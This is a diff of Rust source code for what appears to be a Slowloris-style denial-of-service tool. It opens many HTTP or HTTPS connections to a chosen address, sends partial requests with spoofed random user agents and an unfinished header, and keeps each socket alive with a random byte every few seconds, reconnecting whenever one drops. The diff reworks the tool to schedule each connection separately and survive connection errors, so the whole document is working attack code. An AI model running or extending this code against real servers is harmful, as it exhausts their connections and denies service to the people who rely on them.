|
|
|
@ -3,9 +3,11 @@ Copyright (c) 2021 trivernis
|
|
|
|
See LICENSE for more information
|
|
|
|
See LICENSE for more information
|
|
|
|
*/
|
|
|
|
*/
|
|
|
|
use native_tls::TlsConnector;
|
|
|
|
use native_tls::TlsConnector;
|
|
|
|
use rayon::prelude::*;
|
|
|
|
use rand::Rng;
|
|
|
|
|
|
|
|
use scheduled_thread_pool::ScheduledThreadPool;
|
|
|
|
use std::io::Write;
|
|
|
|
use std::io::Write;
|
|
|
|
use std::net::TcpStream;
|
|
|
|
use std::net::TcpStream;
|
|
|
|
|
|
|
|
use std::sync::Arc;
|
|
|
|
use std::thread;
|
|
|
|
use std::thread;
|
|
|
|
use std::time::Duration;
|
|
|
|
use std::time::Duration;
|
|
|
|
use structopt::StructOpt;
|
|
|
|
use structopt::StructOpt;
|
|
|
|
@ -32,49 +34,49 @@ struct Opt {
|
|
|
|
|
|
|
|
|
|
|
|
fn main() {
|
|
|
|
fn main() {
|
|
|
|
let opts: Opt = Opt::from_args();
|
|
|
|
let opts: Opt = Opt::from_args();
|
|
|
|
let mut connections = create_connections(&*opts.address, opts.port, opts.count, !opts.http);
|
|
|
|
let pool = Arc::new(scheduled_thread_pool::ScheduledThreadPool::new(
|
|
|
|
println!("Created {} connections", connections.len());
|
|
|
|
num_cpus::get(),
|
|
|
|
|
|
|
|
));
|
|
|
|
loop {
|
|
|
|
|
|
|
|
thread::sleep(Duration::from_secs(10));
|
|
|
|
for i in 0..opts.count {
|
|
|
|
println!(r#"Sending "Keep-Alive" Headers"#);
|
|
|
|
let address = opts.address.clone();
|
|
|
|
let mut new_connections = Vec::new();
|
|
|
|
let port = opts.port;
|
|
|
|
|
|
|
|
let https = !opts.http;
|
|
|
|
for mut connection in connections {
|
|
|
|
|
|
|
|
if let Ok(_) = connection.write_all(&[rand::random::<u8>()]) {
|
|
|
|
keep_alive(Arc::clone(&pool), i, address, port, https);
|
|
|
|
new_connections.push(connection);
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
connections = new_connections;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
if connections.len() < opts.count {
|
|
|
|
|
|
|
|
let mut more_connections = create_connections(
|
|
|
|
|
|
|
|
&*opts.address,
|
|
|
|
|
|
|
|
opts.port,
|
|
|
|
|
|
|
|
opts.count - connections.len(),
|
|
|
|
|
|
|
|
!opts.http,
|
|
|
|
|
|
|
|
);
|
|
|
|
|
|
|
|
connections.append(&mut more_connections);
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
println!("Connection count: {}", connections.len())
|
|
|
|
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
thread::park();
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/// Creates connections
|
|
|
|
/// Sends Keep-Alive data to the server
|
|
|
|
fn create_connections(
|
|
|
|
fn keep_alive(pool: Arc<ScheduledThreadPool>, i: usize, address: String, port: u32, https: bool) {
|
|
|
|
address: &str,
|
|
|
|
let mut rng = rand::thread_rng();
|
|
|
|
port: u32,
|
|
|
|
|
|
|
|
count: usize,
|
|
|
|
if let Some(mut stream) = create_connection(&*address, port, https) {
|
|
|
|
https: bool,
|
|
|
|
println!("Connection {} established.", i);
|
|
|
|
) -> Vec<Box<dyn Write + Send + Sync>> {
|
|
|
|
let pool_clone = Arc::clone(&pool);
|
|
|
|
return (0..count)
|
|
|
|
|
|
|
|
.par_bridge()
|
|
|
|
pool.execute_at_fixed_rate(
|
|
|
|
.filter_map(|_| create_connection(address, port, https))
|
|
|
|
Duration::from_secs(rng.gen_range(5..10)),
|
|
|
|
.collect();
|
|
|
|
Duration::from_secs(rng.gen_range(5..10)),
|
|
|
|
|
|
|
|
move || {
|
|
|
|
|
|
|
|
println!(r#"Sending "Keep-Alive-Header" for connection {}..."#, i);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
if let Err(_) = stream.write_all(&[rand::random::<u8>()]) {
|
|
|
|
|
|
|
|
let address = address.clone();
|
|
|
|
|
|
|
|
let pool_clone2 = Arc::clone(&pool_clone);
|
|
|
|
|
|
|
|
println!("Connection {} lost. Reestablishing...", i);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
pool_clone.execute(move || {
|
|
|
|
|
|
|
|
keep_alive(pool_clone2, i, address, port, https);
|
|
|
|
|
|
|
|
});
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
},
|
|
|
|
|
|
|
|
);
|
|
|
|
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/// Creates a single connection yo
|
|
|
|
/// Creates a single HTTP/S connection
|
|
|
|
fn create_connection(
|
|
|
|
fn create_connection(
|
|
|
|
address: &str,
|
|
|
|
address: &str,
|
|
|
|
port: u32,
|
|
|
|
port: u32,
|
|
|
|
@ -88,18 +90,22 @@ fn create_connection(
|
|
|
|
.ok()?;
|
|
|
|
.ok()?;
|
|
|
|
|
|
|
|
|
|
|
|
let mut stream: Box<dyn Write + Send + Sync> = if https {
|
|
|
|
let mut stream: Box<dyn Write + Send + Sync> = if https {
|
|
|
|
let connector = TlsConnector::new().unwrap();
|
|
|
|
let connector = TlsConnector::new().ok()?;
|
|
|
|
let tls_stream = connector.connect(&*address.clone(), tcp_stream).unwrap();
|
|
|
|
let tls_stream = connector.connect(&*address.clone(), tcp_stream).ok()?;
|
|
|
|
Box::new(tls_stream)
|
|
|
|
Box::new(tls_stream)
|
|
|
|
} else {
|
|
|
|
} else {
|
|
|
|
Box::new(tcp_stream)
|
|
|
|
Box::new(tcp_stream)
|
|
|
|
};
|
|
|
|
};
|
|
|
|
|
|
|
|
|
|
|
|
stream.write_all(b"GET / HTTP/1.1\r\n").ok()?;
|
|
|
|
|
|
|
|
stream
|
|
|
|
stream
|
|
|
|
.write_all(format!("User-Agent: {}\r\n", fakeit::user_agent::random_platform()).as_bytes())
|
|
|
|
.write_all(
|
|
|
|
|
|
|
|
format!(
|
|
|
|
|
|
|
|
"GET / HTTP/1.0\r\nUser-Agent: {}\r\nX-a: ",
|
|
|
|
|
|
|
|
fakeit::user_agent::random_platform()
|
|
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
.as_bytes(),
|
|
|
|
|
|
|
|
)
|
|
|
|
.ok()?;
|
|
|
|
.ok()?;
|
|
|
|
stream.write_all(b"X-a: {}\r\n").ok()?;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Some(stream)
|
|
|
|
Some(stream)
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
